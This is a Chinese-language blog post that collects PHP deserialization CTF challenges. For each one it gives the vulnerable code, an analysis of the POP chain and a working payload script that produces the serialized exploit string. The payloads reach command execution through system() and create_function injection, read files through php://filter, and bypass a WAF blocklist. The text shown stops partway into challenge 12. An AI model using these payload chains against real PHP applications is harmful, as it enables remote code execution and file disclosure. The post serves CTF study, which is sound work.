Ngkcvs3's blog Ngkcvs3's blog
首页
  • 漏洞复现
  • JavaScript文章
  • VPS
  • web
  • AWD
  • CSS
  • Test
  • 技术文档
  • GitHub技巧
  • 《Git》学习笔记
  • 博客搭建
  • Nodejs
  • 友情链接
关于
收藏
  • 分类
  • 标签
  • 归档
GitHub (opens new window)

Ngkcvs3

Blog
首页
  • 漏洞复现
  • JavaScript文章
  • VPS
  • web
  • AWD
  • CSS
  • Test
  • 技术文档
  • GitHub技巧
  • 《Git》学习笔记
  • 博客搭建
  • Nodejs
  • 友情链接
关于
收藏
  • 分类
  • 标签
  • 归档
GitHub (opens new window)
  • web

    • web&misc

    • unserialize
    • PHP正则表达式
    • php反序列化题目收集
      • 1.题目1
        • 解题:test1.php
      • 2.题目2
        • POP:test2.php
      • 3.题目3
        • POP:pop1
        • 分析
        • 同题目2类似
      • 4.题目4
        • POP :pop2.php
      • 5.题目5
        • pop : s1.php
      • 6.题目6
        • pop: s2.php
      • 7.题目7(1)
        • pop : s3.php
      • 8.题目8
        • pop : s4.php [NISACTF 2022]popchains
      • 9.题目9(1)
        • pop : s5.php
      • 10.题目10
        • pop : s6.php
      • 11.题目11
        • pop : s7.php
      • 12.题目12
        • [SWPUCTF 2022 新生赛]ezezunserialize
        • __wakeup()绕过,php5.6以上不支持
      • 13.题目13
        • web254.php
      • 14.题目14
        • web255.php
      • 15.题目15
        • web256.php
      • 16.题目16
        • web257.php
      • 17.题目17
        • web258.php
      • 18.题目18
        • web260.php
    • BugKu-web
    • 青少年CTF练习平台-web
    • 文件包含与php伪协议
    • ctfshow命令执行
  • AWD

  • CSS

  • Test

  • CTF
  • web
Ngkcvs6
2020-02-21
目录

php反序列化题目收集

# php反序列化题目收集

# 1.题目1

需要php7.0以上环境 利用到的知识点:数组当作方法调用的特性、 create_function函数 解题:

① $f = create_function('$a,$b', 'echo($a+$b);'); $f(1,2); //3

②数组当作函数调用,就会调用 a 类中的 test() 方法

$arr=[$a,"test"]; //对象和函数都在一个数组中 $arr();

<?php
error_reporting(0);
highlight_file(__FILE__);
$pwd=getcwd();
class func{
    public $mod1;
    public $mod2;
    public $key;
    public function __destruct(){
        unserialize($this->key)();
        $this->mod2 = "welcome ". $this->mod1;
    }
}
class GetFlag{
    public $code;
    public $action;
    public function get_flag(){
        $a=$this->action;
        $a('', $this->code);
    }
}
unserialize($_GET[0]);
?>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23

# 解题:test1.php

​ 题目有两个类,其中func类有3个属性、一个__destruct()方法,GetFlag有两个属性,一个方法get_flag()。

程序的起点为 unserialize($_GET[0]),终点为:get_flag() 的 $a('', $this->code);

get_flag() 中属性 action 也就是 a 被当作函数方法执行,可以把 action 赋值为:create_function,来达到执行系统命令的目的,这样方法的调用执行就转换为执行create_function{}的操作。

仔细分析 unserialize($this->key)(); , 发现这是一个方法的调用,方法名为:unserialize($this->key) ,可以利用数组的特性来调用其他类的方法,进而调用其他类的方法,我们这里想要调用到 GetFlag 类的 get_flag() 方法,那么我就让设置:unserialize($this->key)=[$g,"get_flag()"] 。其中 $g 为 GetFlag 类的实例化对象。

unserialize($this->key)=[$g,"get_flag()"];

将这个等式转换一下:$this->key=serialize([$g,"get_flag()"]);

也就是:$f->key=serialize([$g,"get_flag()"]);

$f是 func 类的实例化对象

​ 再来分析 get_flag() 方法,$a('', $this->code); ,$a 也就是 action 属性 被当作方法调用,这里就把action 设置成 create_function ,把里面的参数 code 构造成方法体,用来执行恶意代码。

<?php
//第一个参数要使用单引号,双引号会解析不能使用;第二个参数结尾记得加分号
$f = create_function('$a,$b', 'echo($a+$b);');
$f(1,2);	//输出3

对比题目中:
$a('', $this->code); 
$a就是方法:create_function(){}
code 就是 'echo($a+$b);'
我们将 $code = '};system("whoami");//';
1
2
3
4
5
6
7
8
9
10

使用 } 闭合掉 create_function 方法的第一个 { ,后面加上要执行的代码,// 注释掉 create_function 的第二个 }

Payload:
<?php
class func{
    public $mod1;
    public $mod2;
    public $key;
}
class GetFlag{
    public $code = "};system('type flag.php');//";
    public $action="create_function";
}
$f=new func();
$g=new GetFlag();
$f->key=serialize([$g,"get_flag"]);
echo urlencode(serialize($f));
?>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16

序列化后结果:

O%3A4%3A%22func%22%3A3%3A%7Bs%3A4%3A%22mod1%22%3BN%3Bs%3A4%3A%22mod2%22%3BN%3Bs%3A3%3A%22key%22%3Bs%3A130%3A%22a%3A2%3A%7Bi%3A0%3BO%3A7%3A%22GetFlag%22%3A2%3A%7Bs%3A4%3A%22code%22%3Bs%3A28%3A%22%7D%3Bsystem%28%27type+flag.php%27%29%3B%2F%2F%22%3Bs%3A6%3A%22action%22%3Bs%3A15%3A%22create_function%22%3B%7Di%3A1%3Bs%3A8%3A%22get_flag%22%3B%7D%22%3B%7D

image

修改题目: 使用另一个类执行 create_function 方法

<?php
error_reporting(0);
highlight_file(__FILE__);
$pwd=getcwd();
class func
{
    public $mod1;
    public $mod2;
    public $key;
    public function __destruct(){
        //这里 unserialize($this->key) 方法必须有参数,否则无法实现
        unserialize($this->key)('', $this->mod1);    
        $this->mod2 = "welcome ". $this->mod1;
    }
}
class GetFlag{
    public $code;
    public $action;
    public function get_flag(){
        $a=$this->action;
		$a();
        // $a('', $this->code); //也可使用这个
    }
}
unserialize($_GET[0]);
?> 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26

Payload:

<?php
class func{
    public $mod1="};system('whoami');//";
    public $mod2;
    public $key;
}
class GetFlag{
    public $code;
    public $action;
}
$f=new func();
$g=new GetFlag();
$g->action=[$f,'__destruct'];  //反过来使用 action 调用 fun 类的__destruct()方法
$f->key=serialize("create_function");
echo urlencode(serialize($g));
?>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16

我们发现要调用的函数例如 $a() ,内必须要有参数,作为 create_function 的参数否则无法成功调用 !!

# 2.题目2

# POP:test2.php

<?php
error_reporting(0);
highlight_file(__FILE__);
class Vox{
    protected $headset;
    public $sound;
    public function fun($pulse){
        include($pulse);
    }
    public function __invoke(){
        $this->fun($this->headset);
    }
}

class Saw{
    public $fearless;
    public $gun;
    public function __construct($file='index.php'){
        $this->fearless = $file;
        echo $this->fearless . 'You are in my range!'. "<br>";
    }
    public function __toString(){
        $this->gun['gun']->fearless;
        return 'Saw';
    }
    public function _pain(){
        if($this->fearless){
            highlight_file($this->fearless);
        }
    }
    public function __wakeup(){
        if(preg_match("/sopher|http|file|ftp|https|dict|php|\.|\//", $this->fearless)){
            echo "Does it hurt? That's right";
            $this->fearless = "index3.php";
        }
    }
}

class Petal{
    public $seed;
    public function __construct(){
        $this->seed = array();
    }
    public function __get($sun){
        $Nourishment = $this->seed;
        return $Nourishment();
    }
}

if(isset($_GET['ozo'])){
    unserialize($_GET['ozo']);
}
else{
    $Saw = new Saw('index3.php');
    $Saw->_pain();
}
?> index3.phpYou are in my range!
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57

分析题目,按步骤做题:

​ 找到反序列化入口点:unserialize($_GET['ozo']);再找终点,即能够执行任意系统命令的地方,发现 Vox 类的 fun 方法有 include ,可以传入我们要执行的命令。

​ 找到了 __invoke() 中调用了 fun() ,参数为 headset ,那么就可以令:$headset = "php://filter/convert.base64-encode/resource/flag.php";接着找能都调用 __invoke() 的地方,__invoke() 是把对象当做函数调用时触发,找函数调用的地方。发现 Petal 的 get() 方法中 return $Nourishment() ,seed 被当做函数调用;接下来找能调用 __get() 的地方,即调用不可访问、不存在的对象成员属性时触发,找到 Saw 的 __toString() 下的 $this->gun['gun']->fearless; gun被当成一个数组,这里我们让 $s->gun=array("gun"=>$p) ,那么 Petal 的对象 $p 调用 fearless,fearless在 Petal 类中不存在,即可触发了 get() ,接着找能触发 toString() 的地方,对象被当作字符串处理时会调用他,找到 Saw 类的 wakeup() 方法,$this->fearless 被当作字符串处理;然后找能触发 wakeup() 的地方,即执行unserialize()时会调用他,

unserialize($_GET['ozo']),ozo=$s2
Saw::__wakeup(),$s2->fearless=$s
Saw::__toString(),$s->gun=array("gun"=>$p)
Petal::__get(),$p->seed=$v;
Vox::__invoke()
Vox::fun
1
2
3
4
5
6
Payload
<?php
class Vox{
    public $headset = "php://filter/convert.base64-encode/resource=flag.php"; //这里是=flag.php
    public $sound;
}
class Saw{
    public $fearless;
    public $gun;
}
class Petal{
    public $seed;
}
$v=new Vox();
$p=new Petal();
$p->seed=$v;
$s=new Saw();
//$this->gun['gun']->fearless; 理解为$s->gun赋值为一个数组array,键为"gun",值为$p
$s->gun=array("gun"=>$p);   
$s2=new Saw();
$s2->fearless=$s;
echo urlencode(serialize($s2));
?>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23

传入参数,base64解码得到flag

image

# 3.题目3

# POP:pop1

Welcome to index.php Welcome to index.php
Welcome to index.php
<?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {
    protected  $var;
    public function append($value){
        include($value);
    }
    public function __invoke(){
        $this->append($this->var);
    }
}

class Show{
    public $source;
    public $str;
    public function __construct($file='index.php'){
        $this->source = $file;
        echo 'Welcome to '.$this->source."<br>";
    }
    public function __toString(){
        return $this->str->source;
    }

    public function __wakeup(){
        if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
            echo "hacker";
            $this->source = "index.php";
        }
    }
}

class Test{
    public $p;
    public function __construct(){
        $this->p = array();
    }

    public function __get($key){
        $function = $this->p;
        return $function();
    }
}

if(isset($_GET['pop'])){
    @unserialize($_GET['pop']);
}
else{
    $a=new Show;
    highlight_file(__FILE__);
} 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55

# 分析

# 同题目2类似

起点:unserialize($_GET['pop'])

终点:Modifier 类的 __invoke() 方法,include

**注意:**要调用 Test 类的 __get() 方法,将 Test 类对象赋值给 Show 类的 str 属性,即:

$s->str=$t; ,这样 Test 类中找不到 source 属性,触发 __get() 方法。

使用到的魔术方法:

__invoke()          //把对象当做函数调用时触发
__get()             //调用不可访问、不存在的对象成员属性时触发
__wakeup()          //执行unserialize()时,先会调用这个方法
__toString()        //把对象当成字符串调用时触发
1
2
3
4
<?php
class Modifier {
    public $var = "php://filter/convert.base64-encode/resource=flag.php";
}
class Show{
    public $source;
    public $str;
}
class Test{
    public $p;
}
$m = new Modifier();
$t = new Test();
$t->p=$m;
$s = new Show();
$s->str=$t;
$s2 = new Show();
$s2->source=$s;
echo urlencode(serialize($s2));
?>

/*
pop链条构造:
unserialize($_GET['pop']),pop=$s2
Show2::__wakeup(),$s2->source=$s;
Show::__toString(),$s->str=$t;
Test::__get,$t->p=$m;
Modifier::__invoke,var
Modifier::append
*/
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30

# 4.题目4

# POP :pop2.php

<?php
//flag is in flag.php
error_reporting(1);
class Read {
 	public $var;  
 	public function file_get($value){  //Read类里的危险函数,能读取$value的内容并返回	
    $text = base64_encode(file_get_contents($value));   
        return $text;
    }
    public function __invoke(){     // Read类里对象被当成函数处理时⾃动调⽤,此魔法函数调用危险函数
        $content = $this->file_get($this->var);
        echo $content;
    }
}
class Show{
 	public $source;
 	public $str;
 	public function __construct($file='index.php'){  // 构造Show类实例时调用
        $this->source = $file;
        echo $this->source.'Welcome'."<br>";
    } 
 	public function __toString(){ // show类的对象被当作字符串处理时调⽤
        return $this->str['str']->source;
    }
 	public function _show(){
        if(preg_match('/gopher|http|ftp|https|dict|\.\.|flag|file/i',$this->source)) {
        die('hacker');
        } else {
            highlight_file($this->source);
        }
    }
 	public function __wakeup(){ //show类的对象反序列化时⾃动调⽤
        if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
        echo "hacker";
        $this->source = "index.php";
        }
    }
}
class Test{
 	public $p;
 	public function __construct(){  // 构造Test类实例时调用
        $this->p = array();
    }
 	public function __get($key){ //获取Test类不存在或者不可访问的变量时⾃动调⽤
        $function = $this->p;
        return $function();
    }
}

if(isset($_GET['hello'])){
    unserialize($_GET['hello']);
}else{
    $show = new Show('pop2.php');
    $show->_show();
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55

起点:unserialize($_GET['hello']);

终点:Read 类的 file_get 方法,file_get_contents

使用到的魔术方法:

__invoke()          //把对象当做函数调用时触发
__get()             //调用不可访问、不存在的对象成员属性时触发
__wakeup()          //执行unserialize()时,先会调用这个方法
__toString()        //把对象当成字符串调用时触发
1
2
3
4

Payload:

<?php
class Read {
    public $var="php://filter/convert.base64-encode/resource=flag.php";
}
class Show{
    public $source;
    public $str;
}
class Test{
    public $p;
}
$r=new Read();
$t=new Test();
$t->p=$r;
$s=new Show();
$s->str['str']=$t;
$s2=new Show();
$s2->source=$s;
echo serialize($s2);
echo urlencode(serialize($s2));
?>

/**
pop构造:
unserialize($_GET['hello']),hello=$s2
Show2::__wakeup(),$s2->source=$s;
Show::__toString(),$s->str['str'=>source]=$t;
Test::__get(),$t->p=$r;
Read::__invoke(),file_get(),var
*/
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30

得到的结果传入后得到base编码结果,进行两次解码即可得到源代码

pop2.php?hello=O:4:"Show":2:{s:6:"source";O:4:"Show":2:{s:6:"source";N;s:3:"str";a:1:{s:3:"str";O:4:"Test":1:{s:1:"p";O:4:"Read":1:{s:3:"var";s:52:"php://filter/convert.base64-encode/resource=flag.php";}}}}s:3:"str";N;}

# 5.题目5

# pop : s1.php

<?php
error_reporting(0);
show_source("1.php");
class w44m{
    private $admin = 'aaa';
    protected $passwd = '123456';
    public function Getflag(){
        if($this->admin === 'w44m' && $this->passwd ==='08067'){
            include('flag.php');
            echo $flag;
        }else{
            echo $this->admin;
            echo $this->passwd;
            echo 'nono';
        }
    }
}

class w22m{
    public $w00m;
    public function __destruct(){
        echo $this->w00m;
    }
}

class w33m{
    public $w00m;
    public $w22m;
    public function __toString(){
        $this->w00m->{$this->w22m}();
        return 0;
    }
}
$w00m = $_GET['w00m'];
unserialize($w00m);
?>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36

起点:unserialize($w00m)

终点:w44m 类的 Getflag() 方法,include

很明显 Getflag() 有 include 函数,可以作为pop链终点。

要执行 Getflag() 方法,需要满足条件:admin='w44m',并且 passwd='08067', 还要找到调用 Getflag() 的地方,该方法不能自动触发,因此需要考虑如何触发该方法;

发现 __toString() 方法下的代码可以实现 Getflag 方法调用,只需令 w33m 类的属性 w 00m 为 w44m 对象,属性 w00m为w44m对象,属性 w22m 的值为 Getflag;要触发 toString 方法,找把对象当成字符串使用的地方,只有 w22m 类的 echo $this->w00m;

payload:
<?php 
class w44m{
    private $admin = 'w44m';
    protected $passwd = '08067';
}
class w22m{
    public $w00m;
}

class w33m{
    public $w00m;
    public $w22m="Getflag";
}
$w2=new w22m();
$w3=new w33m();
$w4=new w44m();
$w3->w00m=$w4;
$w2->w00m=$w3;
echo urlencode(serialize($w2));
?>
/**
pop链为:w22m->w33m->w44m
unserialize($w00m),w00m=w22m
w22m::__destruct,w22m->w00m=w33m
w33m::__toString,w33m->w22m=Getflag()
w44m->Getflag(); 
*/
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28

# 6.题目6

# pop: s2.php

<?php
class entrance{
    public $start;
    function __construct($start){
        $this->start = $start;
    }
    function __destruct(){
        $this->start->helloworld();
    }
}
class springboard{
    public $middle;
    function __call($name, $arguments){
        echo $this->middle->hs;
    }
}
class evil{
    public $end;
    function __construct($end){
        $this->end = $end;
    }
    function __get($Attribute){
        eval($this->end);
    }
}
if(isset($_GET['serialize'])) {
    unserialize($_GET['serialize']);
} else {
    highlight_file(__FILE__);
}
?>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
  • 起点:unserialize($_GET['serialize'])

  • 终点:evil 类的 __get 方法,eval 函数

eval()  将字符串当作代码执行
1

很明显 eval() 方法可以作为pop链终点。

要调用 eval() 方法,找到了 __call 方法的 echo $this->middle->hs;

要调用 __call() ,找到了 entrance 类下的 $this->start->helloworld();

__get()     //调用不可访问、不存在的对象成员属性时触发
__call()    //调用对象不可访问、不存在的方法时触发
__destruct() //类的析构函数,对象被销毁时触发
1
2
3

Payload

<?php
class entrance{
    public $start;
}
class springboard{
    public $middle;
}
class evil{
    public $end='system("whoami");';
}
$e=new evil();
$s=new springboard();
$s->middle=$e;
$e2=new entrance();
$e2->start=$s;
echo urlencode(serialize($e2));
?>

/**
unserialize($_GET['serialize']),serialize=$e
entrance::__destruct(),$e2->start=$s;
springboard::__call(),$s->middle=$e;
evil::__get(),eval
*/
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24

# 7.题目7(1)

# pop : s3.php

<?php
include "waf.php";
class NISA{
    public $fun="show_me_flag";
    public $txw4ever;
    public function __wakeup(){
        if($this->fun=="show_me_flag"){
            hint();
        }
    }
    function __call($from,$val){
        $this->fun=$val[0];
    }
    public function __toString(){
        echo $this->fun;
        return " ";
    }
    public function __invoke(){
        checkcheck($this->txw4ever);
        @eval($this->txw4ever);
    }
}
class TianXiWei{
    public $ext;
    public $x;
    public function __wakeup(){
        $this->ext->nisa($this->x);
    }
}
class Ilovetxw{
    public $huang;
    public $su;
    public function __call($fun1,$arg){
        $this->huang->fun=$arg[0];
    }
    public function __toString(){
        $bb = $this->su;
        return $bb();
    }
}
class four{
    public $a="TXW4EVER";
    private $fun='abc';
    public function __set($name, $value){
        $this->$name=$value;
        if ($this->fun = "sixsixsix"){
            strtolower($this->a);
        }
    }
}

if(isset($_GET['ser'])){
    @unserialize($_GET['ser']);
}else{
    highlight_file(__FILE__);
}
// func checkcheck($data){
//  if(preg_match(......)){
//      die(something wrong);
//  }
// }

// function hint(){
//    echo ".......";
//    die();
// }
?> 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
waf.php
<?php
function checkcheck($data){
	if (preg_match("/\`|\^|\||\~|assert|\?|glob|sys|phpinfo|POST|GET|REQUEST|exec|pcntl|popen|proc|socket|link|passthru|file|posix|ftp|\_|disk/",$data,$match)){
		die('something wrong');
	}
}
function hint(){
	echo "flag is in /";
	die();
}
?>
1
2
3
4
5
6
7
8
9
10
11
12
  • 起点:unserialize($_GET['ser'])

  • 终点:NISA 类的 __invoke 方法,eval 函数

eval() 方法可以作为pop链终点。

要调用 eval() 方法,找到了 __invoke 方法的 @eval($this->txw4ever); 发现 invoke ,直接找对象当成函数调用的地方,找到了Ilovetxw类的return $bb(); 再接着找调用toString的地方。

由于存在 waf 过滤,这里使用大小写绕过,whoami 替换为 tac fl*

Payload1:

<?php
class NISA{
    public $fun="show_m"; //任意修改,为了绕过hint();
    public $txw4ever="SysTem('whoami');";  //txw4ever会存在绕过
}
class TianXiWei{
    public $ext;
    public $x;
}
class Ilovetxw{
    public $huang;
    public $su;
}
class four{
    public $a="TXW4EVER";
    private $fun='abc';
}
$n=new NISA();
$i=new Ilovetxw();
$i->su=$n;
$f=new four();
$f->a=$i;
$i2=new Ilovetxw();
$i2->huang=$f;
$t=new TianXiWei();
$t->ext=$i2;
echo serialize($t);
echo urlencode(serialize($t));
?>

/**
unserialize($_GET['ser']),ser=$t
TianXiWei::__wakeup(),$t->ext=$i2;
Ilovetxw::__call(),$i2->huang=$f;
four::__set(),$f->a=$i;
Ilovetxw::toString(),$i->su=$n;
NISA::__invoke(),eval
*/

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
image

Payload2:

<?php
class NISA{
    public $fun="666";
    public $txw4ever="SYstem('whoami');";
}
class Ilovetxw{
    public $su;
}
$n=new NISA();
$i=new Ilovetxw();
$i->su=$n;
$n1=new NISA();
$n1->fun=$i;
echo urlencode(serialize($n1));
?>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15

# 8.题目8

# pop : s4.php [NISACTF 2022]popchains

Happy New Year~ MAKE A WISH Happy New Year~ MAKE A WISH
Happy New Year~ MAKE A WISH
<?php
echo 'Happy New Year~ MAKE A WISH<br>';
if(isset($_GET['wish'])){
    @unserialize($_GET['wish']);
}
else{
    $a=new Road_is_Long;
    highlight_file(__FILE__);
}
/***************************pop your 2022*****************************/
class Road_is_Long{
    public $page;
    public $string;
    public function __construct($file='index.php'){
        $this->page = $file;
    }
    public function __toString(){
        return $this->string->page;
    }
    public function __wakeup(){        if(preg_match("/file|ftp|http|https|gopher|dict|\.\./i", $this->page)) {
            echo "You can Not Enter 2022";
            $this->page = "index.php";
        }
    }
}
class Try_Work_Hard{
    protected  $var;
    public function append($value){
        include($value);
    }
    public function __invoke(){
        $this->append($this->var);
    }
}
class Make_a_Change{
    public $effort;
    public function __construct(){
        $this->effort = array();
    }
    public function __get($key){
        $function = $this->effort;
        return $function();
    }
}
/**********************Try to See flag.php*****************************/ 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47

常规题,直接构造pop链

payload:

<?php
class Road_is_Long{
    public $page;
    public $string;
}
class Try_Work_Hard{
    protected  $var="php://filter/convert.base64-encode/resource=flag.php";
}
class Make_a_Change{
    public $effort;
}
$t=new Try_Work_Hard();
$m=new Make_a_Change();
$m->effort=$t;
$r=new Road_is_Long();
$r->string=$m;
$r2=new Road_is_Long();
$r2->page=$r;
echo serialize($r2);
echo urlencode(serialize($r2));
?>

/**
unserialize($_GET['wish']),wish=$r2
Road_is_Long::__wakeup(),$r2->page=$r;
Road_is_Long::__toString(),$r->string=$m;
Make_a_Change::__get(),$m->effort=$t;
Try_Work_Hard::__invoke()
Try_Work_Hard::append,include
*/
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30

# 9.题目9(1)

# pop : s5.php

<?php  
include 'flag.php';
class pkshow {  
    function echo_name(){          
        return "Pk very safe^.^";      
    }  
} 

class acp {   
    protected $cinder;  
    public $neutron;
    public $nova;
    function __construct(){      
        $this->cinder = new pkshow;
    }
    function __toString()      
    {          
        if (isset($this->cinder))  
            return $this->cinder->echo_name();      
    }  
}  

class ace
{    
    public $filename;     
    public $openstack;
    public $docker; 
    function echo_name(){   
        $this->openstack = unserialize($this->docker);
        $this->openstack->neutron = $heat;
        if($this->openstack->neutron === $this->openstack->nova)
        {
        $file = "./{$this->filename}";
            if (file_get_contents($file))         
            {              
                return file_get_contents($file); 
            }  
            else 
            { 
                return "keystone lost~"; 
            }    
        }
    }  
}  

if (isset($_GET['pks']))  {
    $logData = unserialize($_GET['pks']);
    echo $logData; 
} 
else { 
    highlight_file(__file__); 
}
?>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
file_get_contents() 函数 : 是一个php函数,用于读取文件中的内容并将其作为字符串返回。它接受一个参数,即要读取的文件的路径。 但遇到读大文件操作时,不建议使用。可以考虑curl等方式代替。
__toString()             //把对象当成字符串调用时触发
__construct()    //类的构造函数,创建对象时触发,使用 new关键字创建一个类的新实例时,PHP会自动调用该类中的 __construct() 方法。
1
2
3

关键:if($this->openstack->neutron === $this->openstack->nova)

解法一:由于$heat变量没有被赋值,所以他是空的,也就是null,绕过方式是使用NULL===NULL,即$nova=NULL

解法二:$acp->neutron=&$acp->nova; 绕过

可以发现 echo_name() 中的 heat 属性不存在,可以把他认为时 null

那么 $this->openstack->neutron = NULL;

Payload1:
<?php  
class acp {   
    protected $cinder;  
    public $neutron;
    public $nova=NULL;
    function __construct(){
      $this->cinder = new ace(); //ace对象的实例化在这里进行,因为cinder属性是protected
    }
}

class ace{
    public $filename='../flag.php';     
    public $openstack;
    public $docker; 
}  
$acp=new acp();
echo urlencode(serialize($acp));
?>

/**
unserialize($_GET['pks']),pks=$p
acp::__toString,$p->cinder=$e
ace::echo_name,file_get_content()
*/
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
Payload2:
<?php  
class acp {   
    protected $cinder;  
    public $neutron;
    public $nova;
    function __construct(){
      $this->cinder = new ace(); //ace对象的实例化在这里进行,因为cinder属性是protected
    }
}

class ace{
    public $filename='../flag.php';     
    public $openstack;
    public $docker; 
}  
$acp=new acp();
$acp->neutron=&$acp->nova;  //使 neutron 与 nova 永恒相等,绕过if条件
echo urlencode(serialize($acp));
?>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20

# 10.题目10

# pop : s6.php

<?php
highlight_file(__FILE__);

class A{
  public $var_1;
  
  public function __invoke(){
   include($this->var_1);
  }
}

class B{
  public $q;
  public function __wakeup()
{
  if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->q)) {
            echo "hacker";           
        }
}

}
class C{
  public $var;
  public $z;
    public function __toString(){
        return $this->z->var;
    }
}

class D{
  public $p;
    public function __get($key){
        $function = $this->p;
        return $function();
    }  
}

if(isset($_GET['payload'])){
    unserialize($_GET['payload']);
}
?> 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42

payload:

<?php
class A{
  public $var_1="php://filter/convert.base64-encode/resource=flag.php";
}
class B{
  public $q;
}
class C{
  public $var;
}
class D{
  public $p;
}
$a=new A;
$d=New D;
$d->p=$a;
$c=new C;
$c->z=$d;
$b=new B;
$b->q=$c;
echo urlencode(serialize($b));
?>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22

# 11.题目11

# pop : s7.php

<?php
highlight_file(__FILE__);

class Begin{
    public $name;
    public function __destruct(){
        if(preg_match("/[a-zA-Z0-9]/",$this->name)){
            echo "Hello";
        }else{
            echo "Welcome to NewStarCTF 2023!";
        }
    }
}

class Then{
    private $func;
    public function __toString(){
        ($this->func)();
        return "Good Job!";
    }
}
class Handle{
    protected $obj;
    public function __call($func, $vars){
        $this->obj->end();
    }
}
class Super{
    protected $obj;
    public function __invoke(){
        $this->obj->getStr();
    }

    public function end(){
        die("==GAME OVER==");
    }
}

class CTF{
    public $handle;
    public function end(){
        unset($this->handle->log);
    }
}

class WhiteGod{
    public $func;
    public $var;
    public function __unset($var){
        ($this->func)($this->var);    
    }
}
@unserialize($_POST['pop']); 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53

找到题目终点 WhiteGod 类中的 ($this->func)($this->var); ,可当做执行任意代码的地方,可以让 func 为 system ,让 var 为 whoami,

构造pop链,发现 CTF 类调用了 unset,Handle 类调用了 end ,

Begin::__destruct -> Then::toString -> Super::__invoke -> Handle::__call -> CTF::end -> WhiteGod::__unset

由于链子调用中成员属性有 private 和 protected,为了保险起见我们用 construct ()方法去调用链子,最后再使用url编码绕过;也可把 private 和 protected都改为 public,使用常规方法

__unset()           //在不可访问的属性上使用unset()时触发
__call()            //调用对象不可访问、不存在的方法时触发
__invoke()          //把对象当做函数调用时触发
__toString()        //把对象当成字符串调用时触发   
__destruct()        //类的析构函数,反序列化后对象被销毁时触发,
1
2
3
4
5

payload:

<?php
class Begin{    
    public $name;    
    public function __construct(){        
        $this->name = new Then;    
    }
}
class Then{    
    private $func;    
    public function __construct(){        
        $this->func= new Super;    
    }
}
class Handle{    
    protected $obj;    
    public function __construct(){        
        $this->obj = new CTF;    
    }
}
class Super{    
    protected $obj;    
    public function __construct(){        
        $this->obj = new Handle;    
    }
}
class CTF{    
    public $handle;    
    public function __construct(){        
        $this->handle = new WhiteGod;    
    }
}
class WhiteGod{    
    public $func = 'system';    
    public $var = 'whoami';
}
$begin = new Begin();
echo serialize($begin)."\n";
echo urlencode(serialize($begin));
?>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39

# 12.题目12

# [SWPUCTF 2022 新生赛]ez_ez_unserialize

# __wakeup()绕过,php5.6以上不支持

s8.php
<?php
class X{
    public $x = __FILE__;
    function __construct($x){
        $this->x = $x;
    }
    function __wakeup(){
        if ($this->x!== __FILE__) {
            $this->x = __FILE__;
        }
    }
    function __destruct(){
        highlight_file($this->x);
        //flag is in fllllllag.php
    }
}
